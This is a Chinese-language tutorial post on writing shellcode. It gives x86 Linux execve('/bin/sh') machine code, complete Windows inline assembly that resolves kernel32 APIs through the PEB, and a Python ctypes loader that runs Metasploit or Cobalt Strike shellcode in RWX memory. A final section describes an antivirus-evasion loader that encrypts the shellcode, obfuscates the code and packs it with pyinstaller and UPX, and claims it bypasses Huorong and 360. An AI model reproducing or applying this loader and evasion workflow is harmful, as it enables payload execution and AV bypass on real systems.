基础概念
shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
运行流程
如下图所示,shellcode的主要木的是为了获取计算机的权限,可配合有缓冲区漏洞程序使用
Shellcode在漏洞样本中的存在形式一般为一段可以自主运行的汇编代码,不依赖任何编译环境,也不能像在IDE中直接编写代码调用API函数名称来实现功能,而是通过主动查到dll基址并动态获取api地址的方式来实现api调用,然后根据实功能调用想用的api函数来完成其自身的功能。
获取kernel32基址
获取Kernel32 基址的常见方法有暴力搜索、异常处理链表搜索和TEB ( Thread EnvironmentBlock)搜索。这里只介绍目前最常用的动态获取Kernel32.dll 基址的方法一-TEB 查找法。其原理是:在NT内核系统中, fs 寄存器指向TEB结构, TEB+0x30偏移处指向PEB ( Process EnvironmentBlock )结构,PEB+0x0c偏移处指向PEB LDR DATA结构, PEB LDR_ DATA+0xlc 偏移处存放着程序加载的动态链接库地址,第1个指向Ndl.dII, 第2个就是Kerel32.dl的基地址。
从Windows Vista 开始,程序中DLL基址的加载顺序发生了变化,在固定的位置已经不能得到正确的Kernel32 基址了,因此,需要在列表中对各DLL模块的名称加以判断,才能得到正确的Kernel32基址。
获取api地址
从DLL文件中获取API地址的方法如图14.12 所示,步骤如下。
在DLL基址+ 3ch偏移处获取e_ lfanew 的地址,即可得到PE文件头。
在PE文件头的78h偏移处得到函数导出表的地址。
在导出表的lch 偏移处获取AddressOfFunctions 的地址,在导出表的20h偏移处获取AddressOfNames的地址,在导出表的24h偏移处获取AddressOfNameOrdinalse的地址。
AddressOfFunctions 函数地址数组和AddressOfNames 函数名数组通过函数AddressOfNameOrdinalse一一对应。
在实际应用中,如果API函数名直接以明文出现,就会降低shellcode的分析难度,而且api函数名称占用空间一般比较大,这会使shellcode的体积跟着增大。
利用hash算法将要获取的函数名称转换为4字节的hash值,在搜索过程中按此算法计算dll中的文件名称的hash值,对比两个hash是否相同,这样就有效减小了shellocde的体积,同时提高了shellcode的隐蔽性
具体实例
以下实例取自swallow大佬文章,写的非常漂提否!
Linux平台
此部分代码是在Ubuntu平台下完成,原因:mac下32位的C语言类库已经没有了,而相关汇编的关联需要32位库。且64位框架兼容32位,不想有太多有的没的问题,选Ubuntu简单直接。
一般编写思路为通过一个int 0x80系统调用,指定想调用的函数的系统调用号,传入调用函数的参数。
编写C/C++代码
首先,我们先编写C/C++代码实现下获取Linux下shell
编译运行下
编写汇编代码
Shellcode简单来说,其实是获取相关汇编代码执行过程中产生的16进制机器码。本节需将上节C/C++代码转换为汇编代码,代码转换结果如下:
获取机器码
通过上图几步骤,我们即可获取32位即X86平台下的执行的机器码。
\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80
后续我们即可将获取的机器码,应用到我们发现的缓冲区溢出的漏洞利用或其他代码中,例如:
编译运行,提示需要root权限。
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
- 详细解释:
- GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制;
- -z execstack 用于允许执行栈;
- -m32 -g 在64位的机器上产生32位汇编。
报错:/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: No such file or directory
解决方式:sudo apt install gcc-multilib
原因:这是由于缺少相应的32位库文件导致的。
其他内容
当PUSH内容时,asm脚本内容下:
获取机器码如下,在Linux系统中遇到00会停止运行。导致我们获取的到的shellcode无法正常执行。在Linux中"//“和”/"作用相似,当采用双斜杠是刚好帮我们补齐了内容位置,使得代码可正常执行。
Int 0X80中断原理
第一步,就是须要将系统调用号加入到eax中。 第二步,ebx保存函数调用的第一个参数,ecx、edx、esi、edi分别对应这2345个参数。 若是参数超过5个,就必须将参数数组存储在内存中,并且必须将该数组的地址放在ebx中。 一旦加载寄存器后,就会调用int 0x80 汇编指令来中断,强迫内核暂停手头上的工做并处理该中断,从而使得系统调用syscall。
Windows平台
在Windows下,没有int 0x80系统调用功能来寻找函数,但也有像syscall这样的系统调用。Windows相对liunx下会麻烦些,针对相关加载需要一定的dll入口进行辅助调用,这个时候需要我们对利用dll的相关信息进行获取。
编写C/C++代码
在Windows下启动vc++ 6.0 编写并运行代码,效果如下:
代码中,我通过system成功执行了dir命令,并显示了相关的命令执行的结果
编写汇编代码
根据上面Linux的经验,这一步我们来编写Windows下shellcode生成的汇编代码,效仿Linux进行编写,效果如下:
我们发现这个地方我们的传入的dir字符串仅仅是完成了入栈的过程,并没有没有被system所执行。此处就是Windows和Linux下的一个比较大的区别,即我们在编写汇编代码是需要获取到系统执行命令的相关内存地址的。
获取相关内存地址
获取system的内存执行地址,由于Windows的ASLR的原因,同一个函数在每一台机器上的内存地址是不一样的。编写简易代码进行内存地址的获取,其执行结果如下:
重新编写汇编代码
上述思路告诉我们在本地上编写shellcode的一个思路:获取相关函数的地址,压入相关数据并进行执行。后面机器码的获取,我们通过VC++的debug即可进行相关内容获取。但我们重新完善上述的汇编代码生成的shellcode仅具备单一性,不具备一定的通用性,故我们在这一节重新编写具备通用性、独立性的汇编代码。
在这一节,踩了很多很多的坑,大部分是环境的问题。尝试许久之后,还是偷懒换成了xp SP3系统下使用vc++,Windows下shellcode前面的内容是在Windows7下完成,此节在Windows7下编译运行会报错:
因为这一节涉及内容很长,就先看一下实际的运行效果吧!
接下来,我们开始讲一下整个的代码的流程
1.找到kernel32.dll被加载到内存中
我们要调用一个函数,必须要知道其地址,而我们在调用函数时又必须要载入链接库,那么我们就必须要知道LoadLibrary()函数地址,获取地址需要函数GetProcAddress(),而GetProcAddress()函数在“kernel32.dll”的里面。所以,我们在寻找地址时,需要用到这么几个关键字“kernel32.dll”、”GetProcAddress()”、”LoadLibrary()”。
正如我们在前面讲的的那样,为了生成可靠的shellcode代码,我们需要遵循一些步骤。我们知道要调用什么函数,但是首先,我们必须找到这些函数,在前面已经讨论了怎么调用函数地址的步骤。
我们可以利用PEB结构找到kernel32.dll。使用以下代码将dll库加载到内存中
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
2.找到其导出表
我们在内存中找到kernel32.dll。现在我们需要解析这个PE文件并找到导出表。
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
3.找到由kernel32.dll导出的GetProcAddress函数
我们现在在“AddressOfNames”上,一个指针数组(kernel32.dll的地址被加载到内存中。因此,每个4字节将表示一个指向函数名的指针。我们可以通过循环查找完整的函数名,函数名序号(GetProcAddress函数的“number”)如下:
;循环查找GetProcAddress函数
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
4.使用GetProcAddress查找LoadLibrary函数的地址
此时,我们只找到了GetProcAddress函数的序号,但是我们可以使用它来查找其他函数的实际地址:
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c] ; ESI = Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
5.使用LoadLibrary来加载动态链接库
利用GetProcAddress()函数,我们可以找到LoadLibraryA()函数的地址。在实际中是没有LoadLibrary()这个地址的,LoadLibraryA()就等价于LoadLibrary()。
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; “LoadLibraryA”
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
到这一步为止,我们已经完成了大部分Windows下调用的通用思路,下来就是个性目标函数的寻找。有了GetProcAddress()函数,我们就可以寻找任何函数的地址了。
6.在动态链接库中找到函数的地址
我们之前找到了LoadLibrary函数地址,现在我们将使用它来加载到内存中“msvcrt.dll”。包含我们的system函数的库。 这里有个问题是 “msvcrt.dll”的字符串长度为10个字符,不足12个字节,所以在剩余的2个字节我们用低位寄存器cx来存储(用什么寄存器不重要),cx是ecx寄存器的一半,ecx是32位寄存器,ecx存储高16位数据,cx存储低16位数据,这样可以避免产生坏字符。
add esp, 0xc ; pop “LoadLibraryA”
pop ecx ; ECX = 0
push eax ; EAX = LoadLibraryA
push ecx ; 6d737663 72742e64 6c6c
mov cx, 0x6c6c ; ll
push ecx
push 0x642e7472 ; rt.d
push 0x6376736d ; msvc
push esp ; “msvcrt.dll”c
call eax ; LoadLibrary(“msvcrt.dll”)
在编写过程中,我们可以把msvcrt.dll修改为任意DLL文件,但要注意字节数。
7.调用函数
我们加载了msvcrt.dll库,现在我们想调用GetProcAddress来获取system函数的地址。 这里呢,还是为了不产生坏字符,所以把字符串补够了4字节,然后删除。当然,我们也可以用低16位寄存器来存储,像上文那样。 在这个地方,因为上面我们用了16 位寄存器,所以我们下面恢复的字节就要比完整的32位寄存器字节数少一半。
add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ecx ;73797374 656d
mov ecx,0x61626d65 ;emba
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove “a”
sub dword ptr[esp + 0x2], 0x62 ; Remove “b”
push 0x74737973 ; syst
push esp ; system
push eax ; msvcrt.dll address
call edx ; GetProc(system)
这个地方直接就可用前文所写的代码了,直接套用进框架就行,前提是要确保堆栈平衡。
add esp, 0x10 ; Cleanup stack
push ebp
mov ebp,esp
sub esp,0x4 ; 准备空间
xor esi,esi
mov esi,0x00726964 ; dir
mov dword ptr[ebp-04h],esi
lea esi, [ebp-04h]
push esi
call eax ; system("dir")
add esp, 0x8 ; Clean stack
pop esi
8.查找ExitProcess函数的地址
我们完成了整个函数的执行,为了不爆出错误,我们必须完美的退出这个程序,所以我们需要在kernel32.dll中找到ExitProcess函数。
;退出程序
pop edx ; GetProcAddress
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove “a”
push 0x636f7250 ; Proc
push 0x74697845 ; Exit
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
9.调用ExitProcess函数
最后,我们调用ExitProcess函数:“ExitProcess(0)”。
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
完整的代码
void main()
{
_asm
{
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
add esp, 0xc ; pop "LoadLibrary"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c ; ll
push ecx
push 0x642e7472 ; rt.d
push 0x6376736d ; msvc
push esp ; "msvcrt.dll"
call eax ; LoadLibrary("msvcrt.dll")
;system内存地址
add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ecx ; 73797374 656d
mov ecx,0x61626d65 ; emba
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove “a”
sub dword ptr[esp + 0x2], 0x62 ; Remove “b”
push 0x74737973 ; syst
push esp ; system
push eax ; msvcrt.dll address
call edx ; GetProc(system)
add esp, 0x10 ; Cleanup stack
;执行核心程序
push ebp
mov ebp,esp
sub esp,0x4
xor esi,esi
mov esi,0x00726964 ;dir
mov dword ptr[ebp-04h],esi
lea esi, [ebp-04h]
push esi
call eax
;堆栈平衡
add esp,0x8 ;恢复esp
pop esi
;退出程序
pop edx ; GetProcAddress
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250 ; Proc
push 0x74697845 ; Exit
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
}
}
shellcode加载器
主要流程
- 调用VirtualAlloc函数,来申请一块可读可写可执行的动态内存区域。
- 调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里。
- 调用CreateThread函数,在主线程的基础上创建一个新线程。
- 调用WaitForSingleObject函数,等待创建的线程运行结束。
将shellcode加载进内存并执行
函数介绍
VirtualAlloc
申请内存调用VirtualAlloc函数,来申请一块动态内存区域。VirtualAlloc函数原型和参数如下:
LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize, #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect #该内存的初始保护属性
};
在python中
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
RtlMoveMemory
调用RtlMoveMemory函数可以将shellcode载入内存,此函数从指定内存中复制内容至另一内存里。RtlMoveMemory函数原型和参数如下
RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。
在python中
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf, ctypes.c_int(len(shellcode)))
CreateThread
创建进程调用CreateThread将在主线程的基础上创建一个新线程CreateThread函数原型和参数如下:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize, #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress, #指向线程函数的指针
LPVOID lpParameter, #向线程函数传递的参数
DWORD dwCreationFlags, #线程创建属性
LPDWORD lpThreadId #保存新线程的id
)
在python
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
WaitForSingleObject
等待线程结束调用WaitForSingleObject函数用来检测线程的状态WaitForSingleObject函数原型和参数
DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle, #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds #定时时间间隔
);
在python里
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束
完整代码
使用msf或者cs生成一段shellcode运行脚本就能获取权限
正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束
import ctypes
buf = b"shellcode内容"
shellcode = bytearray(buf)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
可用pyinstaller 打包为可执行程序
pip install pyinstaller
pyinstaller -F shellcode的py文件
shellcode免杀加载器
思路
本项目是基于学习shellcode原理和免杀基础而编写,主要利用加密、缩小体积、混淆等方式绕过检测,主要是为了应付火绒和360。
https://github.com/xinghe0/cs_shellcode_loader_py
加密
base64、aes、位移密码、异或等
混淆
将代码复制到在线混淆站点进行混淆,https://pyob.oxyry.com
打包
pip install pyinstaller
pyinstaller.exe -Fw -i tomcat.ico --key=xinghe ms_run1.py
先安装UPX,复制到Script目录下,能缩小exe体积
https://github.com/upx/upx/releases/tag/v4.0.2
使用
使用cs生成py的shellcode,将文件到该项目下
运行 shellcode_ encry.py ,将生成的加密shellcode复制到 ms_run.py 88 行的shellcode 上,在网站进行代码混淆 https://pyob.oxyry.com
命名为ms_run1.py,执行打包命令
pyinstaller.exe -Fw -i tomcat.ico --key=xinghe ms_run1.py
效果
没进行加密等操作之前
进行了加密等操作后,过火绒和360没问题
参考:
https://blog.csdn.net/weixin_43916678/article/details/107181228
https://blog.csdn.net/solitudi/article/details/115283329
https://www.nday.top/2020/12/07/Python%20Shellcode%E5%8A%A0%E8%BD%BD%E5%99%A8%E7%BB%95%E8%BF%87AV/